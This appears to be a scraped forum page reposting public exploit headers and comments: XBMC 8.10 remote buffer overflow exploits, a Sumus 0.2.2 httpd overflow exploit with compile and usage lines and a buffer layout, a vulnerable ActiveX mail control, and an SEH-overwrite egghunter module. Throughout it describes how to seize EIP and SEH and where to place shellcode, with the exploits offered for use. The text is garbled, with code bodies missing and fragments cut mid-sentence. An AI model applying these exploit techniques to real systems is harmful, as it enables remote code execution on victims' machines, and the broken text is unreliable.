CMailCOM.SMTP class with CLSID 0609792F-AB56-4CB6-8909-19CDF72CB2A0
is also vulnerable in the following methods:
AddAttach, SetSubject, SetBcc, SetBody, SetCc, SetFrom,
SetTo, SetFromUID

80 XBMC 8.10 (Get Request) Remote Buffer Overflow Exploit (win)
كود PHP:
#!/usr/bin/env python
'''
Xbmc get request remote buffer overflow 8.10 !!!
Tested:Win xp sp2 eng
Vendor url:http://xbmc.org/
Release date:April the 1st 2009
versions affected:
Linux windows < tested
other versions are also possibly affected.
Restrictions:Bad chars need to be filtered.
This exploit happens when parsing and overly long
get request.We can gain control of the $eip register
the next 4bytes of our user supplied data is copied into
$esp register.
The 3 buffer overflows i found in xbmc have nothing in
common they are 3 separate overflow.Please see poc code
for further analysis.
I tried to evade the filtering when passing the shell code
by loading it into the other fields that where available.
We are able to overwrite the exception handlers also so
creating a reliable exploit for vista and xps3 shouldn't
be to hard have a look there are some modules loaded with
out /safe seh.
Credits to n00b for finding the buffer overflow and writing
poc code and exploit.

Tested:Win xp sp2 eng

Restrictions:No restrictions
This exploit happens when parsing and overly long file name
to the server using the takescreenshot command.
there is a description in the poc code.
When passing this to the http server we can evade url: filtering
as it is passed to the application as an overly long dir.
This means we can use any shell code we wish.
We are able to overwrite the exception handlers also so
creating a reliable exploit for vista and xps3 shouldn't

80 XBMC 8.10 (get tag from file name) Remote Buffer Overflow Exploit
كود PHP:
#!/usr/bin/env python
'''
Xbmc get tag from file name request remote buffer overflow 8.10 !!!
Tested:Win xp sp2 eng
Vendor url:http://xbmc.org/
versions affected:
Linux windows < tested
other versions are also possibly affected.
Release date:April the 1st 2009
Restrictions:No filtering needed.
This exploit happens when parsing and overly long id3
tag to the web server.Dont think i covered this much
in the poc code as i was running out of time on this
exploit.
We are able to overwrite the exception handlers also so
creating a reliable exploit for vista and xps3 shouldn't
be to hard have a look there are some modules loaded with
out /safe seh.
Credits to n00b for finding the buffer overflow and writing
poc code and exploit.

80 XBMC 8.10 GET Request Remote Buffer Overflow Exploit (SEH) (univ)
كود PHP:
#!/usr/bin/env python
'''
Xbmc get request remote buffer overflow 8.10 *seh*(Universal address)!!
Tested:Win xp sp2 eng Win vista sp1
Vendor url:http://xbmc.org/
Release date:April the 4th 2009
versions affected: windows all versions.
I had tried awhile to get a nice pop ebx pop ret address and just
could not find a suitable one especially that was any good.and it
had to be shipped with the application and not have /safe seh.
To start with i looked at the zlib.dll to see of there were any
nice pop pop ret address i noticed there was one in particular that
stood out and decided to try it.
There is no need for me to release any more exploits for this application
as i have covered all the areas which i wanted to and want to
move on from this.
If your interested to see how this worked attach a debugger and add some
hit tracing :).It is possible to use this with all the buffer overflows
i released.
Credits to n00b for finding the buffer overflow and writing
exploit.

81 Sumus 0.2.2 httpd Remote Buffer Overflow Exploit
كود PHP:
/*[ sumus[v0.2.2]: (httpd) remote buffer overflow exploit. ]****
* *
* by: vade79/v9 [email protected] (fakehalo/realhalo) *
* *
* compile: *
* gcc xsumus.c -o xsumus *
* *
* syntax: *
* ./xsumus [-pscrln] -h host *
* *
* sumus homepage/url: *
* http://sumus.sourceforge.net *
* *
* Mus is a Spanish cards game played by 4 folks around a *
* table. SUMUS is a server for playing mus over Internet. The *
* project is just the server, but Java applet and Linux *
* console clients are provided. *
* *
* SUMUS contains a remotely exploitable buffer overflow in *
* the httpd portion of its server code, which runs *
* automatically upon starting the SUMUS server(usually port *
* 81). *
* *
* the overflow itself occurs on the stack, but it isn't quite *
* cut and dry as normal. this overflow occurs in a while() *
* byte-by-byte write loop, and the integers used in the loop *
* get overwritten before it makes it to the eip/return *
* address. this is best explained by viewing the code *
* itself: *
* *
* ----------------------------------------------------------- *
* char Buffer[65536] ; *
* ... *
* k = recv( SocketWebPendientes[ j ], Buffer, 20480, 0 ) ; *
* if( k > 0 ) *
* RespondeHTTPPendiente( j ) ; *
* ... *
* void RespondeHTTPPendiente( int Pos ) *
* { *
* int j ,kk ,faltan ; *
* char tmpCad[100], *p1, *p2 ; *
* FILE *f ; *
* *
* Buffer[400] = 0 ; *
* p1 = strstr( Buffer, "GET" ) ; *
* if( p1 == NULL ) p1 = strstr( Buffer, "Get" ) ; *
* if( p1 == NULL ) p1 = strstr( Buffer, "get" ) ; *
* if( p1 != NULL ) *
* { *
* j = 5 ; *
* kk = 0 ; *
* if( j < strlen(p1) ) *
* while ( p1[j] != ' ' && p1[j] ) *
* tmpCad[kk++] = p1[j++] ; *
* tmpCad[kk] = 0 ; *
* } *
* ... *
* ----------------------------------------------------------- *
* *
* as you can see this makes for a special situation. the *
* best method i came up with was to format the buffer like *
* so: *
* [400 bytes] | [20000 bytes] *
* [FILLER]["GET"][FILLER][new "kk"][ADDR] | [EGG/SHELLCODE] *
* *
* this way since the new "kk"/addr ends right the 400 *
* boundary point, only the overwritten "kk" integer needs to *
* be worried about(and not the "j" integer as well). *
* *
* i mainly made this because it was a moderatly different *
* exploit method than the norm. figured i'd see if it could *
* be done, and here we are. *
* *
* tested with default values(on static binary): *
* + gentoo-r5 : successful. *
* + mandrake9.1/default : successful. *
* + mandrake9.1/secure : failed. *
* + fedora core2 : successful. *

#
# A long Source header results in a handful of exceptions.
# The first exception occurs with a pointer at offset 116.
# This exception occurs because a function pointer is
# dereferenced from the overwritten data and then called:
# naisp32!naSPIPE_MainWorkFunc+0x3ed:
# mov ecx, [eax+0x270] (eax is offset 116)
# push ecx
# call [eax+0x26c]
#
# When this happens, the first SEH in the chain is also
# overwritten at offset 96, so the exception results
# in our code being called. If we knew of an address
# in memory that pointed to our shellcode, we could
# avoid the SEH completely and use the above call to
# execute our code. This is actually practical, since
# we can upload almost arbitrary amounts of data into
# the heap and then overwrite the function pointer above.
#
# This method is left as an excercise to the reader.
#
# This module will use the SEH overwrite with a pop/pop/ret or
# a jmp/call ebx (2000 only) to gain control of execution. This
# removes the need for a large data upload and should result in
# reliable execution without the need to brute force.
#
# Since the SEH method only leaves ~140 bytes of contiguous
# shellcode space, we use an egghunter to find the real
# payload that we stuffed into the heap as POST data.
